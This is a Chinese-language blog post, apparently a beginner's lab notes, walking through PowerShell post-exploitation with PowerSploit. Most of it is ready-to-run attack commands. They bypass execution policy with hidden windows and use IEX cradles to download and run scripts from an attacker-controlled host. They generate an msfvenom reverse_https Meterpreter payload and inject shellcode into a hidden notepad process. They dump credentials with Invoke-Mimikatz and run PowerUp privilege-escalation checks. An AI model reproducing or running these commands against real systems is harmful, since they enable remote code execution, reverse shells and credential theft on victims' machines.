本人小白,寫這篇文章主要記錄一下自己的PowerShell學習之路,大牛請繞道:https://www.anquanke.com/subject/id/90541
首先PowerShell的攻擊工具有以下幾種:
- PowerShell:這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期的漏洞利用框架,常用來進行信息探測,特權提升,憑證竊取,持久化等操作。
- Nishang:基於PowerShell的滲透測試專用工具,集成了框架,腳本和各種Payload,包含下載和執行,鍵盤記錄,DNS,延時命令等腳本。
- Empire:基於PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑證信息,常用於提供前期漏洞利用的集成模塊,信息探測,憑證竊取,持久化控制。
- PowerCat:PowerShell版的NetCat,有着網絡工具中的"瑞士軍刀"美譽,它能通過TCP和UDP在網絡中讀取數據。通過與其他工具結合和重定向,讀者可以在腳本中以多種方式使用它
各個操作系統對應的PowerShell版本可以使用Get-Host或者$PSVersionTable.PSVERSION命令查看:
如果要運行PowerShell腳本程序,必須用管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些方法繞過策略來執行腳本,比如下面這三種:
- 繞過本地權限執上傳xxx.ps1至目標服務器,在CMD環境下,在目標服務器本地執行該腳本,如下所示:
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
- 本地隱藏繞過權限執行腳本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
- 用IEX下載遠程ps1腳本繞過權限執行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
參數說明:
- ExecutionPolicy Bypass:繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PowerShell不允許運行命令和文件。通過這個參數,可以繞過一個安全保護規則。在滲透測試中,基本每一次運行PowerShell腳本時都要使用這個參數。
- WindowStyle Hidden:隱藏窗口。
- NoLogo:啟動不顯示版權標志的PowerShell。
- Nonlnteractive(-NonI):非交互模式,PowerShell不為用戶提供交互的提示。
- NoProfile(-NoP):PowerShell控制台不加載當前用戶的配置文件。
- Noexit執行后不退出Shell。這在使用鍵盤記錄等腳本時非常重要。
PowerShell腳本在默認情況下無法直接執行,這時就可以使用上述三種方法繞過安全策略,運行PowerShell腳本。
PowerSploit
PowerShell是一款基於PowerShell的后滲透(Post-Exploitation)框架軟件,其github地址為:https://github.com/PowerShellMafia/PowerSploit
這里通過kali下載安裝,移動到/var/www/html 目錄,開啟apache服務,搭建一個建議的服務器:
介紹各模塊的功能:
- AntivirusBypass:發現殺毒軟件的查殺特征。
- CodeExecution:在目標主機上執行代碼。
- Exfiltration:目標主機上的信息搜集工具。
- Mayhem:藍屏等破壞性腳本。
- Persistence:后面腳本(持久性控制)。
- Recon:以目標主機為跳板進行內網信息偵察。
- ScriptModification:在目標主機上創建或修改腳本。
PowerShell 腳本攻擊演示:
CodeExecution模塊下的Invoke-Shellcode腳本常用於將ShellCode插入指定的進程ID或本地PowerShell中,下面介紹兩種常用的反彈Meterpreter Shell方法:
1.直接執行ShellCode反彈Meterpreter Shell
首先在MSF里使用reverse_https模塊進行監聽:
使用msfvenom命令生成一個PowerShell腳本木馬:
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.133 lport=4444 -f powershell -o /var/www/html/test
接下來生成PowerShell腳本木馬
在目標機器PowerShell下輸入以下命令來下載該腳本:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
接着下載木馬:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")
接着在PowerShell下運行以下命令:
Invoke-Shellcode -Shellcode($buf) -Force
現在返回MSF監聽頁面發現shell已經反彈成功
2.制定進程注入 ShellCode 反彈 Meterpreter Shell
同樣在目標機器上下載需要使用的模塊跟木馬:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")
接着輸入Get-Process命令或者ps查看當前進程:
然后輸入以下命令創建一個新的進程,這里啟動一個記事本,並把它設置為隱藏的,再輸入Get-Process命令查看進程,可以看到多了一個進程,ID為3520,名為notepad的進程:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
接着輸入以下命令,使用Invoke-Shellcode腳本進行進程注入:
Invoke-Shellcode -ProcessID 3520 -Shellcode($buf) -Force
現在返回MSF監聽頁面發現shell已經反彈成功.
Invoke-Portscan
Invoke-Portscan是Recon模塊下的一個腳本,主要用於端口掃描,還是先下載腳本:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Recon/Invoke-Portscan.ps1")
然后使用以下命令進行端口掃描:
Invoke-Portscan -Hosts 192.168.0.133 -ports "80,22,3389"
Invoke-Mimikatz
Mimikatz用來抓HASH,先來下載所用腳本:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
然后執行以下命令來抓取hash,不過首先必須是管理員權限,意思就是要先提權:
Invoke-Mimikatz -DumpCreds
.......
PowerUp
主要來介紹PowerUp模塊,powerUp擁有眾多用來尋找目標主機的Windows服務漏洞進行提權的實用腳本,先下載腳本:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Privesc/PowerUp.ps1")
1.Invoke-AllChecks
該模塊會自動執行PowerUp下所有模塊來檢查目的主機:
2.Find-PathDLLHijack
該模塊用於檢查當前%PATH%的哪些目錄是用戶可以寫入的:
3.Get-ServiceDetail
該模塊用於返回某服務的信息:
......
參考連接: